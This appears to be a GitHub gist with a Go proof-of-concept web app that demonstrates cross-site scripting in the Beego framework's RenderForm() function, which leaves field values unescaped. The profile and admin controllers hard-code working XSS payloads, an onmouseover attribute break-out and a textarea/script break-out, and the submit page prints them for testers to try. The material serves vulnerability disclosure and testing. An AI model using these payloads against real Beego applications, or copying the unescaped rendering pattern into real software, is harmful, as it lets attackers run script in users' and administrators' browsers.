Skip to content

Instantly share code, notes, and snippets.

@thevilledev
Created March 8, 2025 18:49
Show Gist options
  • Select an option

  • Save thevilledev/8fd0cab3f098320aa9daab04be59fd2b to your computer and use it in GitHub Desktop.

Select an option

Save thevilledev/8fd0cab3f098320aa9daab04be59fd2b to your computer and use it in GitHub Desktop.
beego_xss_poc.go
package main
import (
"fmt"
"log"
"os"
"path/filepath"
"time"
"github.com/beego/beego/v2/server/web"
)
// UserProfile represents a user profile with various fields
type UserProfile struct {
ID int `form:"-"`
Username string `form:"username,text,Username:"`
DisplayName string `form:"displayName,text,Display Name:"`
Email string `form:"email,text,Email:"`
Bio string `form:",textarea,Bio:"`
JoinDate time.Time `form:"joinDate,text,Join Date:"`
IsAdmin bool `form:"isAdmin,checkbox,Admin:"`
}
func main() {
// Create a temporary directory for templates
tempDir, err := os.MkdirTemp("", "beego-xss-poc")
if err != nil {
fmt.Println("Error creating temporary directory:", err)
return
}
defer os.RemoveAll(tempDir)
// Write templates to temporary directory
templates := map[string]string{
"index.tpl": indexTemplate,
"profile.tpl": profileTemplate,
"admin.tpl": adminTemplate,
"submit.tpl": submitTemplate,
"submitted.tpl": submittedTemplate,
}
for name, content := range templates {
err := os.WriteFile(filepath.Join(tempDir, name), []byte(content), 0644)
if err != nil {
fmt.Println("Error writing template:", err)
return
}
}
// Set view path to temporary directory
web.BConfig.WebConfig.ViewsPath = tempDir
// Register template functions
err = web.AddFuncMap("renderform", web.RenderForm)
if err != nil {
log.Fatal(err)
}
// Register controllers
web.Router("/", &MainController{})
web.Router("/profile", &ProfileController{})
web.Router("/admin", &AdminController{})
web.Router("/submit", &SubmitController{})
// Start the server
fmt.Println("Starting server at http://localhost:8080/")
fmt.Println("This application demonstrates the XSS vulnerability in Beego's RenderForm() function.")
fmt.Println("Visit http://localhost:8080/ to see the demo.")
web.Run()
}
// MainController handles the home page
type MainController struct {
web.Controller
}
func (c *MainController) Get() {
c.TplName = "index.tpl"
}
// ProfileController handles the profile page
type ProfileController struct {
web.Controller
}
func (c *ProfileController) Get() {
// Create a user profile with malicious data
profile := &UserProfile{
ID: 1,
Username: "johndoe",
DisplayName: `" onmouseover="alert('XSS Attack via Display Name')" data-malicious="`,
Email: "john@example.com",
Bio: `</textarea><script>alert('XSS Attack via Bio')</script><textarea>`,
JoinDate: time.Now(),
IsAdmin: false,
}
c.Data["Profile"] = profile
c.TplName = "profile.tpl"
}
// AdminController handles the admin page
type AdminController struct {
web.Controller
}
func (c *AdminController) Get() {
// Simulate fetching user profiles from a database
profiles := []*UserProfile{
{
ID: 1,
Username: "johndoe",
DisplayName: "John Doe",
Email: "john@example.com",
Bio: "Regular user bio",
JoinDate: time.Now(),
IsAdmin: false,
},
{
ID: 2,
Username: "attacker",
DisplayName: `" onmouseover="alert('XSS Attack via Display Name')" data-malicious="`,
Email: "attacker@example.com",
Bio: `</textarea><script>alert('XSS Attack via Bio')</script><textarea>`,
JoinDate: time.Now(),
IsAdmin: false,
},
}
c.Data["Profiles"] = profiles
c.TplName = "admin.tpl"
}
// SubmitController handles form submissions
type SubmitController struct {
web.Controller
}
func (c *SubmitController) Post() {
// Create a new user profile
profile := &UserProfile{}
// Parse form data into the profile
if err := c.ParseForm(profile); err != nil {
c.Ctx.WriteString("Error parsing form: " + err.Error())
return
}
// Display the submitted profile
c.Data["Profile"] = profile
c.TplName = "submitted.tpl"
}
func (c *SubmitController) Get() {
// Create an empty profile for the form
profile := &UserProfile{}
c.Data["Profile"] = profile
c.TplName = "submit.tpl"
}
// Templates embedded directly in the code
const (
indexTemplate = `<!DOCTYPE html>
<html>
<head>
<title>Beego XSS Vulnerability Demo</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
line-height: 1.6;
}
.container {
max-width: 800px;
margin: 0 auto;
padding: 20px;
border: 1px solid #ddd;
border-radius: 5px;
}
h1 {
color: #333;
}
ul {
padding-left: 20px;
}
li {
margin-bottom: 10px;
}
a {
color: #0066cc;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<div class="container">
<h1>Beego XSS Vulnerability Demo</h1>
<p>This application demonstrates the XSS vulnerability in Beego's RenderForm() function.</p>
<h2>Demonstration Pages:</h2>
<ul>
<li><a href="/profile">User Profile</a> - Shows a profile with malicious data</li>
<li><a href="/admin">Admin Panel</a> - Shows multiple user profiles including one with malicious data</li>
<li><a href="/submit">Submit Form</a> - Create your own profile with malicious data</li>
</ul>
<h2>Vulnerability Explanation:</h2>
<p>The vulnerability exists in the <code>RenderForm()</code> function in Beego's <code>templatefunc.go</code> file. This function directly injects user-provided values into HTML without proper escaping, allowing for XSS attacks.</p>
<h3>Vulnerable Code:</h3>
<pre>
// In renderFormField function:
return fmt.Sprintf('%v<input%v%v name="%v" type="%v" value="%v"%v>',
label, id, class, name, fType, value, requiredString)
</pre>
<p>None of the values (label, id, class, name, value) are properly HTML-escaped before being inserted into the HTML template.</p>
</div>
</body>
</html>`
profileTemplate = `<!DOCTYPE html>
<html>
<head>
<title>User Profile - XSS Demo</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
line-height: 1.6;
}
.container {
max-width: 800px;
margin: 0 auto;
padding: 20px;
border: 1px solid #ddd;
border-radius: 5px;
}
h1, h2 {
color: #333;
}
.form-container {
margin-top: 20px;
padding: 20px;
border: 1px solid #eee;
border-radius: 5px;
background-color: #f9f9f9;
}
.warning {
color: #cc0000;
font-weight: bold;
padding: 10px;
background-color: #ffeeee;
border: 1px solid #ffcccc;
border-radius: 5px;
margin-bottom: 20px;
}
a {
color: #0066cc;
text-decoration: none;
display: inline-block;
margin-top: 20px;
}
a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<div class="container">
<h1>User Profile</h1>
<div class="warning">
<p>⚠️ Warning: This page demonstrates an XSS vulnerability. The profile contains malicious data that will be rendered unsafely.</p>
<p>Hover over the Display Name field to see the XSS attack in action.</p>
</div>
<h2>Profile Information</h2>
<div class="form-container">
<!-- This is where the vulnerability occurs - RenderForm doesn't escape user input -->
{{renderform .Profile}}
</div>
<a href="/">Back to Home</a>
</div>
</body>
</html>`
adminTemplate = `<!DOCTYPE html>
<html>
<head>
<title>Admin Panel - XSS Demo</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
line-height: 1.6;
}
.container {
max-width: 800px;
margin: 0 auto;
padding: 20px;
border: 1px solid #ddd;
border-radius: 5px;
}
h1, h2, h3 {
color: #333;
}
.user-profile {
margin-top: 20px;
padding: 20px;
border: 1px solid #eee;
border-radius: 5px;
background-color: #f9f9f9;
margin-bottom: 20px;
}
.warning {
color: #cc0000;
font-weight: bold;
padding: 10px;
background-color: #ffeeee;
border: 1px solid #ffcccc;
border-radius: 5px;
margin-bottom: 20px;
}
a {
color: #0066cc;
text-decoration: none;
display: inline-block;
margin-top: 20px;
}
a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<div class="container">
<h1>Admin Panel</h1>
<div class="warning">
<p>⚠️ Warning: This page demonstrates an XSS vulnerability. One of the profiles contains malicious data that will be rendered unsafely.</p>
<p>Hover over the Display Name field in the second profile to see the XSS attack in action.</p>
</div>
<h2>User Profiles</h2>
{{range $index, $profile := .Profiles}}
<div class="user-profile">
<h3>User #{{$index}}</h3>
<!-- This is where the vulnerability occurs - RenderForm doesn't escape user input -->
{{renderform $profile}}
</div>
{{end}}
<a href="/">Back to Home</a>
</div>
</body>
</html>`
submitTemplate = `<!DOCTYPE html>
<html>
<head>
<title>Submit Profile - XSS Demo</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
line-height: 1.6;
}
.container {
max-width: 800px;
margin: 0 auto;
padding: 20px;
border: 1px solid #ddd;
border-radius: 5px;
}
h1, h2 {
color: #333;
}
.form-container {
margin-top: 20px;
padding: 20px;
border: 1px solid #eee;
border-radius: 5px;
background-color: #f9f9f9;
}
.info {
color: #0066cc;
padding: 10px;
background-color: #e6f0ff;
border: 1px solid #b3d1ff;
border-radius: 5px;
margin-bottom: 20px;
}
.example {
font-family: monospace;
background-color: #f5f5f5;
padding: 10px;
border: 1px solid #ddd;
border-radius: 3px;
margin: 10px 0;
}
input[type="submit"] {
background-color: #0066cc;
color: white;
border: none;
padding: 10px 20px;
border-radius: 3px;
cursor: pointer;
margin-top: 20px;
}
input[type="submit"]:hover {
background-color: #0052a3;
}
a {
color: #0066cc;
text-decoration: none;
display: inline-block;
margin-top: 20px;
margin-right: 20px;
}
a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<div class="container">
<h1>Submit Your Profile</h1>
<div class="info">
<p>This form allows you to create a profile with potentially malicious data to test the XSS vulnerability.</p>
<p>Try entering the following in the Display Name field:</p>
<div class="example">" onmouseover="alert('XSS Attack via Display Name')" data-malicious="</div>
<p>Or try entering the following in the Bio field:</p>
<div class="example">&lt;/textarea&gt;&lt;script&gt;alert('XSS Attack via Bio')&lt;/script&gt;&lt;textarea&gt;</div>
</div>
<h2>Create Profile</h2>
<div class="form-container">
<form action="/submit" method="post">
Username:<br>
<input name="username" type="text"><br>
Display Name:<br>
<input name="displayName" type="text"><br>
Email:<br>
<input name="email" type="text"><br>
Bio:<br>
<textarea name="Bio"></textarea><br>
<input type="submit" value="Submit">
</form>
</div>
<a href="/">Back to Home</a>
</div>
</body>
</html>`
submittedTemplate = `<!DOCTYPE html>
<html>
<head>
<title>Submitted Profile - XSS Demo</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
line-height: 1.6;
}
.container {
max-width: 800px;
margin: 0 auto;
padding: 20px;
border: 1px solid #ddd;
border-radius: 5px;
}
h1, h2 {
color: #333;
}
.form-container {
margin-top: 20px;
padding: 20px;
border: 1px solid #eee;
border-radius: 5px;
background-color: #f9f9f9;
}
.success {
color: #008800;
font-weight: bold;
padding: 10px;
background-color: #eeffee;
border: 1px solid #ccffcc;
border-radius: 5px;
margin-bottom: 20px;
}
.warning {
color: #cc0000;
font-weight: bold;
padding: 10px;
background-color: #ffeeee;
border: 1px solid #ffcccc;
border-radius: 5px;
margin-bottom: 20px;
}
a {
color: #0066cc;
text-decoration: none;
display: inline-block;
margin-top: 20px;
margin-right: 20px;
}
a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<div class="container">
<h1>Submitted Profile</h1>
<div class="success">
<p>✅ Your profile has been submitted successfully!</p>
</div>
<div class="warning">
<p>⚠️ Warning: If you submitted malicious data, you will see the XSS attack in action below.</p>
<p>Hover over the Display Name field or check the Bio field to see if your XSS attack worked.</p>
</div>
<h2>Your Profile Information</h2>
<div class="form-container">
<!-- This is where the vulnerability occurs - RenderForm doesn't escape user input -->
{{renderform .Profile}}
</div>
<a href="/submit">Submit Another Profile</a>
<a href="/">Back to Home</a>
</div>
</body>
</html>`
)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment